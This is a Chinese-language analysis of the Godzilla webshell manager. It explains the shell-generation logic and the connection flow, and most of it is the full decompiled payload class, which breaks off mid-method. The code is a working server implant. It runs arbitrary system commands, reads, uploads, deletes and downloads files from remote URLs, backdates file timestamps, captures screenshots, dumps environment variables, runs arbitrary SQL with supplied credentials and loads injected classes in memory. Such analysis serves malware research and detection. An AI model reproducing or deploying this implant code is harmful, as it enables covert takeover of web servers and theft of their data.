哥斯拉代码分析
webshell代码生成逻辑
ui下面看命名是一些界面,找到GenerateShellLoder
其中generateButtonClick()为用户点击后的操作
这里是默认内置的加密算法
其中加密算法保存在shell包下
这里读取shells/java/template/ 的*.bin的内容,读取以后然后调用
code = code.replace("{pass}", pass).replace("{secretKey}", secretKey).replace("{findStrLeft}", findStrLeft).replace("{findStrRight}", findStrRight);进行替换
生成以后选择一个目录保存生成的文件
总结一下流程
(1)获取客户端传入的密钥等数据
(2)根据传入的加密器选择合适的方法加密
(3)cryption.generate(password, secretKey)加密,其中调用
Generate.GenerateShellLoder(password, functions.md5(secretKey).substring(0, 16), this.getClass().getSimpleName());在生成payload时会对密钥做md5加密,取前16位
(4)通过写死的模版做pass key的替换,生成webshell。
(5) 选择生成的文件,然后写入到文件中
通信逻辑
在哥斯拉连接进行抓包,发现了测试连接三个通信
测试连接的处理类位于/godzilla.jar!/core/ui/component/frame/ShellSetting.class 看处理的过程中的关键方法和类
testButtonClick()
testButtonClick()
内部调用updateTempShellEntity(),其方法的作用主要是设置shellContext,他是ShellEntity类型,根据变量猜测,应该是webshell的相关的配置信息
配置完成后,调用this.shellContext.initShellOpertion()
(1)设置this.payloadModel
(2)设置this.cryptionModel
其中this.cryptionModel.init(this);会发送一次http请求,并初始化参数。其中getpayload()会获取asssets下面的payload.classs字节码。此class实现了命令执行、文件上传/下载、基本信息获取等全部功能。
payload.class的代码还原如下
payload.class的代码还原如下
//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//
import java.awt.Rectangle;import java.awt.Robot;import java.awt.Toolkit;import java.awt.image.BufferedImage;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.PrintStream;import java.io.RandomAccessFile;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.InetAddress;import java.net.NetworkInterface;import java.net.URL;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.nio.file.attribute.BasicFileAttributeView;import java.nio.file.attribute.FileTime;import java.sql.Connection;import java.sql.Driver;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.ResultSetMetaData;import java.sql.Statement;import java.text.SimpleDateFormat;import java.util.ArrayList;import java.util.Arrays;import java.util.Date;import java.util.Enumeration;import java.util.HashMap;import java.util.Iterator;import java.util.List;import java.util.Map;import java.util.Properties;import java.util.zip.GZIPInputStream;import java.util.zip.GZIPOutputStream;import javax.imageio.ImageIO;
public class payload extends ClassLoader { public static final char[] toBase64 = new char[]{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'}; HashMap parameterMap = new HashMap(); HashMap sessionMap; Object servletContext; Object servletRequest; Object httpSession; byte[] requestData; ByteArrayOutputStream outputStream;
public payload() { }
public payload(ClassLoader loader) { super(loader); }
public Class g(byte[] b) { return super.defineClass(b, 0, b.length); }
public byte[] run() { try { String className = this.get("evalClassName"); String methodName = this.get("methodName"); if (methodName != null) { Class var10000; if (className == null) { Method method = this.getClass().getMethod(methodName, (Class[])null); var10000 = method.getReturnType(); Class var10001 = class$0; if (var10001 == null) { try { var10001 = Class.forName("[B"); } catch (ClassNotFoundException var6) { throw new NoClassDefFoundError(var6.getMessage()); }
class$0 = var10001; }
return var10000.isAssignableFrom(var10001) ? (byte[])method.invoke(this, (Object[])null) : "this method returnType not is byte[]".getBytes(); } else { Class evalClass = (Class)this.sessionMap.get(className); if (evalClass != null) { Object object = evalClass.newInstance(); object.equals(this.parameterMap); object.toString(); Object resultObject = this.parameterMap.get("result"); if (resultObject != null) { var10000 = class$0; if (var10000 == null) { try { var10000 = Class.forName("[B"); } catch (ClassNotFoundException var7) { throw new NoClassDefFoundError(var7.getMessage()); }
class$0 = var10000; }
return var10000.isAssignableFrom(resultObject.getClass()) ? (byte[])resultObject : "return typeErr".getBytes(); } else { return new byte[0]; } } else { return "evalClass is null".getBytes(); } } } else { return "method is null".getBytes(); } } catch (Throwable var8) { ByteArrayOutputStream stream = new ByteArrayOutputStream(); PrintStream printStream = new PrintStream(stream); var8.printStackTrace(printStream); printStream.flush(); printStream.close(); return stream.toByteArray(); } }
public void formatParameter() { this.parameterMap.clear(); this.parameterMap.put("sessionMap", this.sessionMap); this.parameterMap.put("servletRequest", this.servletRequest); this.parameterMap.put("servletContext", this.servletContext); this.parameterMap.put("httpSession", this.httpSession); byte[] parameterByte = this.requestData; ByteArrayInputStream tStream = new ByteArrayInputStream(parameterByte); ByteArrayOutputStream tp = new ByteArrayOutputStream(); String key = null; byte[] lenB = new byte[4]; byte[] data = null;
try { GZIPInputStream inputStream = new GZIPInputStream(tStream);
while(true) { while(true) { byte t = (byte)inputStream.read(); if (t == -1) { tp.close(); tStream.close(); inputStream.close(); return; }
if (t == 2) { key = new String(tp.toByteArray()); inputStream.read(lenB); int len = bytesToInt(lenB); byte[] data = new byte[len]; int readOneLen = 0;
while((readOneLen += inputStream.read(data, readOneLen, data.length - readOneLen)) < data.length) { }
this.parameterMap.put(key, data); tp.reset(); } else { tp.write(t); } } } } catch (Exception var11) { } }
public boolean equals(Object obj) { if (obj != null && this.handle(obj)) { this.noLog(this.servletContext); return true; } else { return false; } }
public boolean handle(Object obj) { if (obj == null) { return false; } else { Class var10000 = class$1; if (var10000 == null) { try { var10000 = Class.forName("java.io.ByteArrayOutputStream"); } catch (ClassNotFoundException var7) { throw new NoClassDefFoundError(var7.getMessage()); }
class$1 = var10000; }
if (var10000.isAssignableFrom(obj.getClass())) { this.outputStream = (ByteArrayOutputStream)obj; return false; } else { if (this.supportClass(obj, "%s.servlet.http.HttpServletRequest")) { this.servletRequest = obj; } else if (this.supportClass(obj, "%s.servlet.ServletRequest")) { this.servletRequest = obj; } else { var10000 = class$0; if (var10000 == null) { try { var10000 = Class.forName("[B"); } catch (ClassNotFoundException var6) { throw new NoClassDefFoundError(var6.getMessage()); }
class$0 = var10000; }
if (var10000.isAssignableFrom(obj.getClass())) { this.requestData = (byte[])obj; } else if (this.supportClass(obj, "%s.servlet.http.HttpSession")) { this.httpSession = obj; } }
this.handlePayloadContext(obj); if (this.servletRequest != null && this.requestData == null) { Object var10001 = this.servletRequest; Class[] var10003 = new Class[1]; Class var10006 = class$2; if (var10006 == null) { try { var10006 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var5) { throw new NoClassDefFoundError(var5.getMessage()); }
class$2 = var10006; }
var10003[0] = var10006; Object retVObject = this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{"parameters"}); if (retVObject != null) { var10000 = class$0; if (var10000 == null) { try { var10000 = Class.forName("[B"); } catch (ClassNotFoundException var4) { throw new NoClassDefFoundError(var4.getMessage()); }
class$0 = var10000; }
if (var10000.isAssignableFrom(retVObject.getClass())) { this.requestData = (byte[])retVObject; } } }
return true; } } }
private void handlePayloadContext(Object obj) { try { Method getRequestMethod = this.getMethodByClass(obj.getClass(), "getRequest", (Class[])null); Method getServletContextMethod = this.getMethodByClass(obj.getClass(), "getServletContext", (Class[])null); Method getSessionMethod = this.getMethodByClass(obj.getClass(), "getSession", (Class[])null); if (getRequestMethod != null && this.servletRequest == null) { this.servletRequest = getRequestMethod.invoke(obj, (Object[])null); }
if (getServletContextMethod != null && this.servletContext == null) { this.servletContext = getServletContextMethod.invoke(obj, (Object[])null); }
if (getSessionMethod != null && this.httpSession == null) { this.httpSession = getSessionMethod.invoke(obj, (Object[])null); } } catch (Exception var5) { }
}
private boolean supportClass(Object obj, String classNameString) { if (obj == null) { return false; } else { boolean ret = false; Class c = null;
try { if ((c = getClass(String.format(classNameString, "javax"))) != null) { ret = c.isAssignableFrom(obj.getClass()); }
if (!ret && (c = getClass(String.format(classNameString, "jakarta"))) != null) { ret = c.isAssignableFrom(obj.getClass()); } } catch (Exception var6) { }
return ret; } }
public String toString() { String returnString = null; if (this.outputStream != null) { try { this.initSessionMap(); GZIPOutputStream gzipOutputStream = new GZIPOutputStream(this.outputStream); this.formatParameter(); if (this.parameterMap.get("evalNextData") != null) { this.run(); this.requestData = (byte[])this.parameterMap.get("evalNextData"); this.formatParameter(); }
gzipOutputStream.write(this.run()); gzipOutputStream.close(); this.outputStream.close(); } catch (Throwable var3) { returnString = var3.getMessage(); } } else { returnString = "outputStream is null"; }
this.httpSession = null; this.outputStream = null; this.parameterMap = null; this.requestData = null; this.servletContext = null; this.servletRequest = null; this.sessionMap = null; return returnString; }
private void initSessionMap() { if (this.sessionMap == null) { if (this.getSessionAttribute("sessionMap") != null) { try { this.sessionMap = (HashMap)this.getSessionAttribute("sessionMap"); } catch (Exception var3) { } } else { this.sessionMap = new HashMap();
try { this.setSessionAttribute("sessionMap", this.sessionMap); } catch (Exception var2) { } }
if (this.sessionMap == null) { this.sessionMap = new HashMap(); } }
}
public String get(String key) { try { return new String((byte[])this.parameterMap.get(key)); } catch (Exception var3) { return null; } }
public byte[] getByteArray(String key) { try { return (byte[])this.parameterMap.get(key); } catch (Exception var3) { return null; } }
public byte[] test() { return "ok".getBytes(); }
public byte[] getFile() { String dirName = this.get("dirName"); if (dirName != null) { dirName = dirName.trim(); String buffer = new String();
try { String currentDir = (new File(dirName)).getAbsoluteFile() + "/"; File currentDirFile = new File(currentDir); if (!currentDirFile.exists()) { return "dir does not exist".getBytes(); }
File[] files = currentDirFile.listFiles(); buffer = buffer + "ok"; buffer = buffer + "\n"; buffer = buffer + currentDir; buffer = buffer + "\n"; if (files != null) { for(int i = 0; i < files.length; ++i) { File file = files[i];
try { buffer = buffer + file.getName(); buffer = buffer + "\t"; buffer = buffer + (file.isDirectory() ? "0" : "1"); buffer = buffer + "\t"; buffer = buffer + (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(new Date(file.lastModified())); buffer = buffer + "\t"; buffer = buffer + Integer.toString((int)file.length()); buffer = buffer + "\t"; StringBuffer var10000 = (new StringBuffer(String.valueOf(file.canRead() ? "R" : ""))).append(file.canWrite() ? "W" : ""); Class var10002 = class$3; if (var10002 == null) { try { var10002 = Class.forName("java.io.File"); } catch (ClassNotFoundException var10) { throw new NoClassDefFoundError(var10.getMessage()); }
class$3 = var10002; }
String fileState = var10000.append(this.getMethodByClass(var10002, "canExecute", (Class[])null) != null ? (file.canExecute() ? "X" : "") : "").toString(); buffer = buffer + (fileState != null && fileState.trim().length() != 0 ? fileState : "F"); buffer = buffer + "\n"; } catch (Exception var11) { buffer = buffer + var11.getMessage(); buffer = buffer + "\n"; } } } } catch (Exception var12) { return String.format("dir does not exist errMsg:%s", var12.getMessage()).getBytes(); }
return buffer.getBytes(); } else { return "No parameter dirName".getBytes(); } }
public String listFileRoot() { File[] files = File.listRoots(); String buffer = new String();
for(int i = 0; i < files.length; ++i) { buffer = buffer + files[i].getPath(); buffer = buffer + ";"; }
return buffer; }
public byte[] fileRemoteDown() { String url = this.get("url"); String saveFile = this.get("saveFile"); if (url != null && saveFile != null) { FileOutputStream outputStream = null;
try { InputStream inputStream = (new URL(url)).openStream(); outputStream = new FileOutputStream(saveFile); byte[] data = new byte[5120]; int readNum = true;
int readNum; while((readNum = inputStream.read(data)) != -1) { outputStream.write(data, 0, readNum); }
outputStream.flush(); outputStream.close(); inputStream.close(); return "ok".getBytes(); } catch (Exception var8) { if (outputStream != null) { try { outputStream.close(); } catch (IOException var7) { return var7.getMessage().getBytes(); } }
return String.format("%s : %s", var8.getClass().getName(), var8.getMessage()).getBytes(); } } else { return "url or saveFile is null".getBytes(); } }
public byte[] setFileAttr() { String type = this.get("type"); String attr = this.get("attr"); String fileName = this.get("fileName"); String ret = "Null"; if (type != null && attr != null && fileName != null) { try { File file = new File(fileName); Class var10001; if ("fileBasicAttr".equals(type)) { var10001 = class$3; if (var10001 == null) { try { var10001 = Class.forName("java.io.File"); } catch (ClassNotFoundException var16) { throw new NoClassDefFoundError(var16.getMessage()); }
class$3 = var10001; }
if (this.getMethodByClass(var10001, "setWritable", new Class[]{Boolean.TYPE}) != null) { if (attr.indexOf("R") != -1) { file.setReadable(true); }
if (attr.indexOf("W") != -1) { file.setWritable(true); }
if (attr.indexOf("X") != -1) { file.setExecutable(true); }
ret = "ok"; } else { ret = "Java version is less than 1.6"; } } else if ("fileTimeAttr".equals(type)) { var10001 = class$3; if (var10001 == null) { try { var10001 = Class.forName("java.io.File"); } catch (ClassNotFoundException var15) { throw new NoClassDefFoundError(var15.getMessage()); }
class$3 = var10001; }
if (this.getMethodByClass(var10001, "setLastModified", new Class[]{Long.TYPE}) != null) { Date date = new Date(0L); StringBuilder builder = new StringBuilder(); builder.append(attr); char[] cs = new char[13 - builder.length()]; Arrays.fill(cs, '0'); builder.append(cs); date = new Date(date.getTime() + Long.parseLong(builder.toString())); file.setLastModified(date.getTime()); ret = "ok";
try { Class nioFile = Class.forName("java.nio.file.Paths"); Class basicFileAttributeViewClass = Class.forName("java.nio.file.attribute.BasicFileAttributeView"); Class filesClass = Class.forName("java.nio.file.Files"); if (nioFile != null && basicFileAttributeViewClass != null && filesClass != null) { Path var10000 = Paths.get(fileName); var10001 = class$4; if (var10001 == null) { try { var10001 = Class.forName("java.nio.file.attribute.BasicFileAttributeView"); } catch (ClassNotFoundException var13) { throw new NoClassDefFoundError(var13.getMessage()); }
class$4 = var10001; }
BasicFileAttributeView attributeView = (BasicFileAttributeView)Files.getFileAttributeView(var10000, var10001); attributeView.setTimes(FileTime.fromMillis(date.getTime()), FileTime.fromMillis(date.getTime()), FileTime.fromMillis(date.getTime())); } } catch (Exception var14) { } } else { ret = "Java version is less than 1.2"; } } else { ret = "no ExcuteType"; } } catch (Exception var17) { return String.format("Exception errMsg:%s", var17.getMessage()).getBytes(); } } else { ret = "type or attr or fileName is null"; }
return ret.getBytes(); }
public byte[] readFile() { String fileName = this.get("fileName"); if (fileName != null) { File file = new File(fileName);
try { if (file.exists() && file.isFile()) { byte[] data = new byte[(int)file.length()]; FileInputStream fileInputStream; if (data.length > 0) { int readOneLen = 0; fileInputStream = new FileInputStream(file);
while((readOneLen += fileInputStream.read(data, readOneLen, data.length - readOneLen)) < data.length) { }
fileInputStream.close(); } else { byte[] temData = new byte[3145728]; fileInputStream = new FileInputStream(file); int readLen = fileInputStream.read(temData); if (readLen > 0) { data = new byte[readLen]; System.arraycopy(temData, 0, data, 0, data.length); }
fileInputStream.close(); Object var9 = null; }
return data; } else { return "file does not exist".getBytes(); } } catch (Exception var7) { return var7.getMessage().getBytes(); } } else { return "No parameter fileName".getBytes(); } }
public byte[] uploadFile() { String fileName = this.get("fileName"); byte[] fileValue = this.getByteArray("fileValue"); if (fileName != null && fileValue != null) { try { File file = new File(fileName); file.createNewFile(); FileOutputStream fileOutputStream = new FileOutputStream(file); fileOutputStream.write(fileValue); fileOutputStream.close(); return "ok".getBytes(); } catch (Exception var5) { return var5.getMessage().getBytes(); } } else { return "No parameter fileName and fileValue".getBytes(); } }
public byte[] newFile() { String fileName = this.get("fileName"); if (fileName != null) { File file = new File(fileName);
try { return file.createNewFile() ? "ok".getBytes() : "fail".getBytes(); } catch (Exception var4) { return var4.getMessage().getBytes(); } } else { return "No parameter fileName".getBytes(); } }
public byte[] newDir() { String dirName = this.get("dirName"); if (dirName != null) { File file = new File(dirName);
try { return file.mkdirs() ? "ok".getBytes() : "fail".getBytes(); } catch (Exception var4) { return var4.getMessage().getBytes(); } } else { return "No parameter fileName".getBytes(); } }
public byte[] deleteFile() { String dirName = this.get("fileName"); if (dirName != null) { try { File file = new File(dirName); this.deleteFiles(file); return "ok".getBytes(); } catch (Exception var3) { return var3.getMessage().getBytes(); } } else { return "No parameter fileName".getBytes(); } }
public byte[] moveFile() { String srcFileName = this.get("srcFileName"); String destFileName = this.get("destFileName"); if (srcFileName != null && destFileName != null) { File file = new File(srcFileName);
try { if (file.exists()) { return file.renameTo(new File(destFileName)) ? "ok".getBytes() : "fail".getBytes(); } else { return "The target does not exist".getBytes(); } } catch (Exception var5) { return var5.getMessage().getBytes(); } } else { return "No parameter srcFileName,destFileName".getBytes(); } }
public byte[] copyFile() { String srcFileName = this.get("srcFileName"); String destFileName = this.get("destFileName"); if (srcFileName != null && destFileName != null) { File srcFile = new File(srcFileName); File destFile = new File(destFileName);
try { if (srcFile.exists() && srcFile.isFile()) { FileInputStream fileInputStream = new FileInputStream(srcFile); FileOutputStream fileOutputStream = new FileOutputStream(destFile); byte[] data = new byte[5120]; int readNum = false;
int readNum; while((readNum = fileInputStream.read(data)) > -1) { fileOutputStream.write(data, 0, readNum); }
fileInputStream.close(); fileOutputStream.close(); return "ok".getBytes(); } else { return "The target does not exist or is not a file".getBytes(); } } catch (Exception var9) { return var9.getMessage().getBytes(); } } else { return "No parameter srcFileName,destFileName".getBytes(); } }
public byte[] include() { byte[] binCode = this.getByteArray("binCode"); String className = this.get("codeName"); if (binCode != null && className != null) { try { payload payload = new payload(this.getClass().getClassLoader()); Class module = payload.g(binCode); this.sessionMap.put(className, module); return "ok".getBytes(); } catch (Exception var5) { return this.sessionMap.get(className) != null ? "ok".getBytes() : var5.getMessage().getBytes(); } } else { return "No parameter binCode,codeName".getBytes(); } }
public Object getSessionAttribute(String keyString) { if (this.httpSession != null) { Object var10001 = this.httpSession; Class[] var10003 = new Class[1]; Class var10006 = class$2; if (var10006 == null) { try { var10006 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var2) { throw new NoClassDefFoundError(var2.getMessage()); }
class$2 = var10006; }
var10003[0] = var10006; return this.getMethodAndInvoke(var10001, "getAttribute", var10003, new Object[]{keyString}); } else { return null; } }
public void setSessionAttribute(String keyString, Object value) { if (this.httpSession != null) { Object var10001 = this.httpSession; Class[] var10003 = new Class[2]; Class var10006 = class$2; if (var10006 == null) { try { var10006 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var4) { throw new NoClassDefFoundError(var4.getMessage()); }
class$2 = var10006; }
var10003[0] = var10006; var10006 = class$5; if (var10006 == null) { try { var10006 = Class.forName("java.lang.Object"); } catch (ClassNotFoundException var3) { throw new NoClassDefFoundError(var3.getMessage()); }
class$5 = var10006; }
var10003[1] = var10006; this.getMethodAndInvoke(var10001, "setAttribute", var10003, new Object[]{keyString, value}); }
}
public byte[] execCommand() { String argsCountStr = this.get("argsCount"); if (argsCountStr != null && argsCountStr.length() > 0) { try { Process process = null; ArrayList argsList = new ArrayList(); int argsCount = Integer.parseInt(argsCountStr); if (argsCount <= 0) { return "argsCount <=0".getBytes(); } else { for(int i = 0; i < argsCount; ++i) { String val = this.get(String.format("arg-%d", new Integer(i))); if (val != null) { argsList.add(val); } }
String[] cmdarray = new String[argsList.size()];
for(int i = 0; i < argsList.size(); ++i) { cmdarray[i] = (String)argsList.get(i); }
process = Runtime.getRuntime().exec((String[])argsList.toArray(new String[0])); if (process == null) { return "Unable to start process".getBytes(); } else { InputStream inputStream = process.getInputStream(); InputStream errorInputStream = process.getErrorStream(); ByteArrayOutputStream memStream = new ByteArrayOutputStream(1024); byte[] buff = new byte[521]; int readNum = false; int readNum; if (inputStream != null) { while((readNum = inputStream.read(buff)) > 0) { memStream.write(buff, 0, readNum); } }
if (errorInputStream != null) { while((readNum = errorInputStream.read(buff)) > 0) { memStream.write(buff, 0, readNum); } }
return memStream.toByteArray(); } } } catch (Exception var10) { return var10.getMessage().getBytes(); } } else { return "No parameter argsCountStr".getBytes(); } }
public byte[] getBasicsInfo() { try { Enumeration keys = System.getProperties().keys(); String basicsInfo = new String(); basicsInfo = basicsInfo + "FileRoot : " + this.listFileRoot() + "\n"; basicsInfo = basicsInfo + "CurrentDir : " + (new File("")).getAbsoluteFile() + "/" + "\n"; basicsInfo = basicsInfo + "CurrentUser : " + System.getProperty("user.name") + "\n"; basicsInfo = basicsInfo + "ProcessArch : " + System.getProperty("sun.arch.data.model") + "\n";
try { String tmpdir = System.getProperty("java.io.tmpdir"); char lastChar = tmpdir.charAt(tmpdir.length() - 1); if (lastChar != '\\' && lastChar != '/') { tmpdir = tmpdir + File.separator; }
basicsInfo = basicsInfo + "TempDirectory : " + tmpdir + "\n"; } catch (Exception var7) { }
basicsInfo = basicsInfo + "DocBase : " + this.getDocBase() + "\n"; basicsInfo = basicsInfo + "RealFile : " + this.getRealPath() + "\n"; basicsInfo = basicsInfo + "servletRequest : " + (this.servletRequest == null ? "null" : String.valueOf(this.servletRequest.hashCode()) + "\n"); basicsInfo = basicsInfo + "servletContext : " + (this.servletContext == null ? "null" : String.valueOf(this.servletContext.hashCode()) + "\n"); basicsInfo = basicsInfo + "httpSession : " + (this.httpSession == null ? "null" : String.valueOf(this.httpSession.hashCode()) + "\n");
try { basicsInfo = basicsInfo + "OsInfo : " + String.format("os.name: %s os.version: %s os.arch: %s", System.getProperty("os.name"), System.getProperty("os.version"), System.getProperty("os.arch")) + "\n"; } catch (Exception var6) { basicsInfo = basicsInfo + "OsInfo : " + var6.getMessage() + "\n"; }
basicsInfo = basicsInfo + "IPList : " + getLocalIPList() + "\n";
while(keys.hasMoreElements()) { Object object = keys.nextElement(); if (object instanceof String) { String key = (String)object; basicsInfo = basicsInfo + key + " : " + System.getProperty(key) + "\n"; } }
Map envMap = this.getEnv(); String key; if (envMap != null) { for(Iterator iterator = envMap.keySet().iterator(); iterator.hasNext(); basicsInfo = basicsInfo + key + " : " + envMap.get(key) + "\n") { key = (String)iterator.next(); } }
return basicsInfo.getBytes(); } catch (Exception var8) { return var8.getMessage().getBytes(); } }
public byte[] screen() { try { Robot robot = new Robot(); BufferedImage as = robot.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height)); ByteArrayOutputStream bs = new ByteArrayOutputStream(); ImageIO.write(as, "png", ImageIO.createImageOutputStream(bs)); byte[] data = bs.toByteArray(); bs.close(); return data; } catch (Exception var5) { return var5.getMessage().getBytes(); } }
public byte[] execSql() throws Exception { String charset = this.get("dbCharset"); String dbType = this.get("dbType"); String dbHost = this.get("dbHost"); String dbPort = this.get("dbPort"); String dbUsername = this.get("dbUsername"); String dbPassword = this.get("dbPassword"); String execType = this.get("execType"); String execSql = new String(this.getByteArray("execSql"), charset); if (dbType != null && dbHost != null && dbPort != null && dbUsername != null && dbPassword != null && execType != null && execSql != null) { try { try { Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver"); } catch (Exception var24) { }
try { Class.forName("oracle.jdbc.driver.OracleDriver"); } catch (Exception var23) { try { Class.forName("oracle.jdbc.OracleDriver"); } catch (Exception var22) { } }
try { Class.forName("com.mysql.cj.jdbc.Driver"); } catch (Exception var21) { try { Class.forName("com.mysql.jdbc.Driver"); } catch (Exception var20) { } }
try { Class.forName("org.postgresql.Driver"); } catch (Exception var19) { }
try { Class.forName("org.sqlite.JDBC"); } catch (Exception var18) { }
String connectUrl = null; if ("mysql".equals(dbType)) { connectUrl = "jdbc:mysql://" + dbHost + ":" + dbPort + "/" + "?useSSL=false&serverTimezone=UTC&zeroDateTimeBehavior=convertToNull&noDatetimeStringSync=true&characterEncoding=utf-8"; } else if ("oracle".equals(dbType)) { connectUrl = "jdbc:oracle:thin:@" + dbHost + ":" + dbPort + ":orcl"; } else if ("sqlserver".equals(dbType)) { connectUrl = "jdbc:sqlserver://" + dbHost + ":" + dbPort + ";"; } else if ("postgresql".equals(dbType)) { connectUrl = "jdbc:postgresql://" + dbHost + ":" + dbPort + "/"; } else if ("sqlite".equals(dbType)) { connectUrl = "jdbc:sqlite:" + dbHost; }
if (dbHost.indexOf("jdbc:") != -1) { connectUrl = dbHost; }
if (connectUrl != null) { try { Connection dbConn = null;
try { dbConn = getConnection(connectUrl, dbUsername, dbPassword); } catch (Exception var17) { }
if (dbConn == null) { dbConn = DriverManager.getConnection(connectUrl, dbUsername, dbPassword); }
Statement statement = dbConn.createStatement(); if (!execType.equals("select")) { int affectedNum = statement.executeUpdate(execSql); statement.close(); dbConn.close(); return ("Query OK, " + affectedNum + " rows affected").getBytes(); } else { String data = "ok\n"; ResultSet resultSet = statement.executeQuery(execSql); ResultSetMetaData metaData = resultSet.getMetaData(); int columnNum = metaData.getColumnCount();
int i; for(i = 0; i < columnNum; ++i) { data = data + this.base64Encode(String.format("%s", metaData.getColumnName(i + 1))) + "\t"; }
for(data = data + "\n"; resultSet.next(); data = data + "\n") { for(i = 0; i < columnNum; ++i) { data = data + this.base64Encode(String.format("%s", resultSet.getString(i + 1))) + "\t"; } }
resultSet.close(); statement.close(); dbConn.close(); return data.getBytes(); } } catch (Exception var25) { return var25.getMessage().getBytes(); } } else { return ("no " + dbType + " Dbtype").getBytes(); } } catch (Exception var26) { return var26.getMessage().getBytes(); } } else { return "No parameter dbType,dbHost,dbPort,dbUsername,dbPassword,execType,execSql".getBytes(); } }
public byte[] close() { try { if (this.httpSession != null) { this.getMethodAndInvoke(this.httpSession, "invalidate", (Class[])null, (Object[])null); }
return "ok".getBytes(); } catch (Exception var2) { return var2.getMessage().getBytes(); } }
public byte[] bigFileUpload() { String fileName = this.get("fileName"); byte[] fileContents = this.getByteArray("fileContents"); String position = this.get("position");
try { if (position == null) { FileOutputStream fileOutputStream = new FileOutputStream(fileName, true); fileOutputStream.write(fileContents); fileOutputStream.flush(); fileOutputStream.close(); } else { RandomAccessFile fileOutputStream = new RandomAccessFile(fileName, "rw"); fileOutputStream.seek((long)Integer.parseInt(position)); fileOutputStream.write(fileContents); fileOutputStream.close(); }
return "ok".getBytes(); } catch (Exception var5) { return String.format("Exception errMsg:%s", var5.getMessage()).getBytes(); } }
public byte[] bigFileDownload() { String fileName = this.get("fileName"); String mode = this.get("mode"); String readByteNumString = this.get("readByteNum"); String positionString = this.get("position");
try { if ("fileSize".equals(mode)) { return String.valueOf((new File(fileName)).length()).getBytes(); } else if ("read".equals(mode)) { int position = Integer.valueOf(positionString); int readByteNum = Integer.valueOf(readByteNumString); byte[] readData = new byte[readByteNum]; FileInputStream fileInputStream = new FileInputStream(fileName); fileInputStream.skip((long)position); int readNum = fileInputStream.read(readData); fileInputStream.close(); return readNum == readData.length ? readData : copyOf(readData, readNum); } else { return "no mode".getBytes(); } } catch (Exception var10) { return String.format("Exception errMsg:%s", var10.getMessage()).getBytes(); } }
public static byte[] copyOf(byte[] original, int newLength) { byte[] arrayOfByte = new byte[newLength]; System.arraycopy(original, 0, arrayOfByte, 0, Math.min(original.length, newLength)); return arrayOfByte; }
public Map getEnv() { try { int jreVersion = Integer.parseInt(System.getProperty("java.version").substring(2, 3)); if (jreVersion >= 5) { try { Class var10000 = class$6; if (var10000 == null) { try { var10000 = Class.forName("java.lang.System"); } catch (ClassNotFoundException var4) { throw new NoClassDefFoundError(var4.getMessage()); }
class$6 = var10000; }
Method method = var10000.getMethod("getenv"); if (method != null) { var10000 = method.getReturnType(); Class var10001 = class$7; if (var10001 == null) { try { var10001 = Class.forName("java.util.Map"); } catch (ClassNotFoundException var3) { throw new NoClassDefFoundError(var3.getMessage()); }
class$7 = var10001; }
if (var10000.isAssignableFrom(var10001)) { return (Map)method.invoke((Object)null, (Object[])null); } }
return null; } catch (Exception var5) { return null; } } else { return null; } } catch (Exception var6) { return null; } }
public String getDocBase() { try { return this.getRealPath(); } catch (Exception var2) { return var2.getMessage(); } }
public static Connection getConnection(String url, String userName, String password) { Connection connection = null;
try { Class var10000 = class$8; if (var10000 == null) { try { var10000 = Class.forName("java.sql.DriverManager"); } catch (ClassNotFoundException var15) { throw new NoClassDefFoundError(var15.getMessage()); }
class$8 = var10000; }
Field[] fields = var10000.getDeclaredFields(); Field field = null;
for(int i = 0; i < fields.length; ++i) { field = fields[i]; if (field.getName().indexOf("rivers") != -1) { var10000 = class$9; if (var10000 == null) { try { var10000 = Class.forName("java.util.List"); } catch (ClassNotFoundException var14) { throw new NoClassDefFoundError(var14.getMessage()); }
class$9 = var10000; }
if (var10000.isAssignableFrom(field.getType())) { break; } }
field = null; }
if (field != null) { field.setAccessible(true); List drivers = (List)field.get((Object)null); Iterator iterator = drivers.iterator();
while(iterator.hasNext() && connection == null) { try { Object object = iterator.next(); Driver driver = null; var10000 = class$10; if (var10000 == null) { try { var10000 = Class.forName("java.sql.Driver"); } catch (ClassNotFoundException var13) { throw new NoClassDefFoundError(var13.getMessage()); }
class$10 = var10000; }
if (!var10000.isAssignableFrom(object.getClass())) { Field[] driverInfos = object.getClass().getDeclaredFields();
for(int i = 0; i < driverInfos.length; ++i) { var10000 = class$10; if (var10000 == null) { try { var10000 = Class.forName("java.sql.Driver"); } catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage()); }
class$10 = var10000; }
if (var10000.isAssignableFrom(driverInfos[i].getType())) { driverInfos[i].setAccessible(true); driver = (Driver)driverInfos[i].get(object); break; } } }
if (driver != null) { Properties properties = new Properties(); if (userName != null) { properties.put("user", userName); }
if (password != null) { properties.put("password", password); }
connection = driver.connect(url, properties); } } catch (Exception var16) { } } } } catch (Exception var17) { }
return connection; }
public static String getLocalIPList() { List ipList = new ArrayList();
try { Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces();
while(networkInterfaces.hasMoreElements()) { NetworkInterface networkInterface = (NetworkInterface)networkInterfaces.nextElement(); Enumeration inetAddresses = networkInterface.getInetAddresses();
